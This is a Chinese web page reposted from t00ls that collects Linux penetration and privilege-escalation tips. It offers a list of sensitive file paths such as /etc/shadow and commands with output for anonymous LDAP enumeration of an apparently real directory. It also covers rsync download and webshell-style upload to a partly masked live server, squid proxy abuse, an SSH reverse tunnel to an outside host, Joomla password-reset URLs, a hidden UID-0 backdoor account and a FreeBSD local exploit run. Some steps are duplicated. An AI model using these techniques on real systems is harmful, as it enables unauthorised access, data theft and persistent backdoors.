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所在位置：首页 > 操作系统 > linux

Linux渗透与提权：技巧总结篇

发布时间：2013-12-24 18:05:30作者：知识屋

来源：t00ls

本文为Linux渗透与提权技巧总结篇，旨在收集各种Linux渗透技巧与提权版本，方便各位同学在日后的渗透测试中能够事半功倍。

Linux 系统下的一些常见路径：

 

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/etc/passwd
 
/etc/shadow
 
/etc/fstab
 
/etc/host.conf
 
/etc/motd
 
/etc/ld.so.conf
 
/var/www/htdocs/index.php
 
/var/www/conf/httpd.conf
 
/var/www/htdocs/index.html
 
/var/httpd/conf/php.ini
 
/var/httpd/htdocs/index.php
 
/var/httpd/conf/httpd.conf
 
/var/httpd/htdocs/index.html
 
/var/httpd/conf/php.ini
 
/var/www/index.html
 
/var/www/index.php
 
/opt/www/conf/httpd.conf
 
/opt/www/htdocs/index.php
 
/opt/www/htdocs/index.html
 
/usr/local/apache/htdocs/index.html
 
/usr/local/apache/htdocs/index.php
 
/usr/local/apache2/htdocs/index.html
 
/usr/local/apache2/htdocs/index.php
 
/usr/local/httpd2.2/htdocs/index.php
 
/usr/local/httpd2.2/htdocs/index.html
 
/tmp/apache/htdocs/index.html
 
/tmp/apache/htdocs/index.php
 
/etc/httpd/htdocs/index.php
 
/etc/httpd/conf/httpd.conf
 
/etc/httpd/htdocs/index.html
 
/www/php/php.ini
 
/www/php4/php.ini
 
/www/php5/php.ini
 
/www/conf/httpd.conf
 
/www/htdocs/index.php
 
/www/htdocs/index.html
 
/usr/local/httpd/conf/httpd.conf
 
/apache/apache/conf/httpd.conf
 
/apache/apache2/conf/httpd.conf
 
/etc/apache/apache.conf
 
/etc/apache2/apache.conf
 
/etc/apache/httpd.conf
 
/etc/apache2/httpd.conf
 
/etc/apache2/vhosts.d/00_default_vhost.conf
 
/etc/apache2/sites-available/default
 
/etc/phpmyadmin/config.inc.php
 
/etc/mysql/my.cnf
 
/etc/httpd/conf.d/php.conf
 
/etc/httpd/conf.d/httpd.conf
 
/etc/httpd/logs/error_log
 
/etc/httpd/logs/error.log
 
/etc/httpd/logs/access_log
 
/etc/httpd/logs/access.log
 
/home/apache/conf/httpd.conf
 
/home/apache2/conf/httpd.conf
 
/var/log/apache/error_log
 
/var/log/apache/error.log
 
/var/log/apache/access_log
 
/var/log/apache/access.log
 
/var/log/apache2/error_log
 
/var/log/apache2/error.log
 
/var/log/apache2/access_log
 
/var/log/apache2/access.log
 
/var/www/logs/error_log
 
/var/www/logs/error.log
 
/var/www/logs/access_log
 
/var/www/logs/access.log
 
/usr/local/apache/logs/error_log
 
/usr/local/apache/logs/error.log
 
/usr/local/apache/logs/access_log
 
/usr/local/apache/logs/access.log
 
/var/log/error_log
 
/var/log/error.log
 
/var/log/access_log
 
/var/log/access.log
 
/usr/local/apache/logs/access_logaccess_log.old
 
/usr/local/apache/logs/error_logerror_log.old
 
/etc/php.ini
 
/bin/php.ini
 
/etc/init.d/httpd
 
/etc/init.d/mysql
 
/etc/httpd/php.ini
 
/usr/lib/php.ini
 
/usr/lib/php/php.ini
 
/usr/local/etc/php.ini
 
/usr/local/lib/php.ini
 
/usr/local/php/lib/php.ini
 
/usr/local/php4/lib/php.ini
 
/usr/local/php4/php.ini
 
/usr/local/php4/lib/php.ini
 
/usr/local/php5/lib/php.ini
 
/usr/local/php5/etc/php.ini
 
/usr/local/php5/php5.ini
 
/usr/local/apache/conf/php.ini
 
/usr/local/apache/conf/httpd.conf
 
/usr/local/apache2/conf/httpd.conf
 
/usr/local/apache2/conf/php.ini
 
/etc/php4.4/fcgi/php.ini
 
/etc/php4/apache/php.ini
 
/etc/php4/apache2/php.ini
 
/etc/php5/apache/php.ini
 
/etc/php5/apache2/php.ini
 
/etc/php/php.ini
 
/etc/php/php4/php.ini
 
/etc/php/apache/php.ini
 
/etc/php/apache2/php.ini
 
/web/conf/php.ini
 
/usr/local/Zend/etc/php.ini
 
/opt/xampp/etc/php.ini
 
/var/local/www/conf/php.ini
 
/var/local/www/conf/httpd.conf
 
/etc/php/cgi/php.ini
 
/etc/php4/cgi/php.ini
 
/etc/php5/cgi/php.ini
 
/php5/php.ini
 
/php4/php.ini
 
/php/php.ini
 
/PHP/php.ini
 
/apache/php/php.ini
 
/xampp/apache/bin/php.ini
 
/xampp/apache/conf/httpd.conf
 
/NetServer/bin/stable/apache/php.ini
 
/home2/bin/stable/apache/php.ini
 
/home/bin/stable/apache/php.ini
 
/var/log/mysql/mysql-bin.log
 
/var/log/mysql.log
 
/var/log/mysqlderror.log
 
/var/log/mysql/mysql.log
 
/var/log/mysql/mysql-slow.log
 
/var/mysql.log
 
/var/lib/mysql/my.cnf
 
/usr/local/mysql/my.cnf
 
/usr/local/mysql/bin/mysql
 
/etc/mysql/my.cnf
 
/etc/my.cnf
 
/usr/local/cpanel/logs
 
/usr/local/cpanel/logs/stats_log
 
/usr/local/cpanel/logs/access_log
 
/usr/local/cpanel/logs/error_log
 
/usr/local/cpanel/logs/license_log
 
/usr/local/cpanel/logs/login_log
 
/usr/local/cpanel/logs/stats_log
 
/usr/local/share/examples/php4/php.ini
 
/usr/local/share/examples/php/php.ini
 
/usr/local/tomcat5527/bin/version.sh
 
/usr/share/tomcat6/bin/startup.sh
 
/usr/tomcat6/bin/startup.sh
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liunx 相关提权渗透技巧总结，一、ldap 渗透技巧：

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式
2.less /etc/ldap.conf

base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:

1.返回所有的属性
 

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ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
 
version: 1
 
dn: dc=ruc,dc=edu,dc=cn
 
dc: ruc
 
objectClass: domain
 
dn: uid=manager,dc=ruc,dc=edu,dc=cn
 
uid: manager
 
objectClass: inetOrgPerson
 
objectClass: organizationalPerson
 
objectClass: person
 
objectClass: top
 
sn: manager
 
cn: manager
 
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
 
uid: superadmin
 
objectClass: inetOrgPerson
 
objectClass: organizationalPerson
 
objectClass: person
 
objectClass: top
 
sn: superadmin
 
cn: superadmin
 
dn: uid=admin,dc=ruc,dc=edu,dc=cn
 
uid: admin
 
objectClass: inetOrgPerson
 
objectClass: organizationalPerson
 
objectClass: person
 
objectClass: top
 
sn: admin
 
cn: admin
 
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
 
uid: dcp_anonymous
 
objectClass: top
 
objectClass: person
 
objectClass: organizationalPerson
 
objectClass: inetOrgPerson
 
sn: dcp_anonymous
 
cn: dcp_anonymous


2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain

3.查找
 

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bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
 
version: 1
 
dn:
 
objectClass: top
 
namingContexts: dc=ruc,dc=edu,dc=cn
 
supportedExtension: 2.16.840.1.113730.3.5.7
 
supportedExtension: 2.16.840.1.113730.3.5.8
 
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
 
supportedExtension: 2.16.840.1.113730.3.5.3
 
supportedExtension: 2.16.840.1.113730.3.5.5
 
supportedExtension: 2.16.840.1.113730.3.5.6
 
supportedExtension: 2.16.840.1.113730.3.5.4
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
 
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
 
supportedExtension: 1.3.6.1.4.1.1466.20037
 
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
 
supportedControl: 2.16.840.1.113730.3.4.2
 
supportedControl: 2.16.840.1.113730.3.4.3
 
supportedControl: 2.16.840.1.113730.3.4.4
 
supportedControl: 2.16.840.1.113730.3.4.5
 
supportedControl: 1.2.840.113556.1.4.473
 
supportedControl: 2.16.840.1.113730.3.4.9
 
supportedControl: 2.16.840.1.113730.3.4.16
 
supportedControl: 2.16.840.1.113730.3.4.15
 
supportedControl: 2.16.840.1.113730.3.4.17
 
supportedControl: 2.16.840.1.113730.3.4.19
 
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
 
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
 
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
 
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
 
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
 
supportedControl: 2.16.840.1.113730.3.4.14
 
supportedControl: 1.3.6.1.4.1.1466.29539.12
 
supportedControl: 2.16.840.1.113730.3.4.12
 
supportedControl: 2.16.840.1.113730.3.4.18
 
supportedControl: 2.16.840.1.113730.3.4.13
 
supportedSASLMechanisms: EXTERNAL
 
supportedSASLMechanisms: DIGEST-MD5
 
supportedLDAPVersion: 2
 
supportedLDAPVersion: 3
 
vendorName: Sun Microsystems, Inc.
 
vendorVersion: Sun-Java(tm)-System-Directory/6.2
 
dataversion: 020090516011411
 
netscapemdsuffix: cn=ldap://dc=webA:389
 
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
 
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
 
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
 
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
 
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
 
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
 
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
 
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
 
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
 
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
 
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
 
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
 
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
 
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
 
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
 
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
 
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
 
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
 
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
 
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
 
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
 
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
 
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
 
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
 
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
 
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
 
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
 
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
 
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
 
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
 
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
 
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
 
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
 
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
 
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
 
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
 
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
 
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
 
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
 
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
 
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
 
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
 
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
 
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
 
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
 
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
 
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
 
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
 
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
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liunx 相关提权渗透技巧总结，二、NFS 渗透技巧：

列举IP：

showmount -e ip

liunx 相关提权渗透技巧总结，三、rsync渗透技巧：

1.查看rsync服务器上的列表：

 

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rsync 210.51.X.X::
 
finance
 
img_finance
 
auto
 
img_auto
 
html_cms
 
img_cms
 
ent_cms
 
ent_img
 
ceshi
 
res_img
 
res_img_c2
 
chip
 
chip_c2
 
ent_icms
 
games
 
gamesimg
 
media
 
mediaimg
 
fashion
 
res-fashion
 
res-fo
 
taobao-home
 
res-taobao-home
 
house
 
res-house
 
res-home
 
res-edu
 
res-ent
 
res-labs
 
res-news
 
res-phtv
 
res-media
 
home
 
edu
 
news
 
res-book




看相应的下级目录(注意一定要在目录后面添加上/)

 

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rsync 210.51.X.X::htdocs_app/
 
rsync 210.51.X.X::auto/
 
rsync 210.51.X.X::edu/



2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)

rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/

http://app.finance.xxx.com/warn/nothack.txt

liunx 相关提权渗透技巧总结，四、squid渗透技巧：

nc -vv 91ri.org 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0

liunx 相关提权渗透技巧总结，五、SSH端口转发：

ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

liunx 相关提权渗透技巧总结，六、joomla渗透小技巧：

确定版本：

index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47

重新设置密码：
index.php?option=com_user&view=reset&layout=confirm

liunx 相关提权渗透技巧总结，七、Linux添加UID为0的root用户：
useradd -o -u 0 nothack

liunx 相关提权渗透技巧总结，八、freebsd本地提权：

 

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[argp@julius ~]$ uname -rsi
 
* freebsd 7.3-RELEASE GENERIC
 
* [argp@julius ~]$ sysctl vfs.usermount
 
* vfs.usermount: 1
 
* [argp@julius ~]$ id
 
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
 
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
 
* [argp@julius ~]$ ./nfs_mount_ex
 
*
 
calling nmount()



tar 文件夹打包：

1、tar打包：

tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif 排除目录 /xx/xx/*

alzip打包(韩国) alzip -a D:WEB d:web*.rar

{

注：

关于tar的打包方式,linux不以扩展名来决定文件类型。

若压缩的话tar -ztf *.tar.gz 查看压缩包里内容 tar -zxf *.tar.gz 解压

那么用这条比较好

tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif 排除目录 /xx/xx/*

} 

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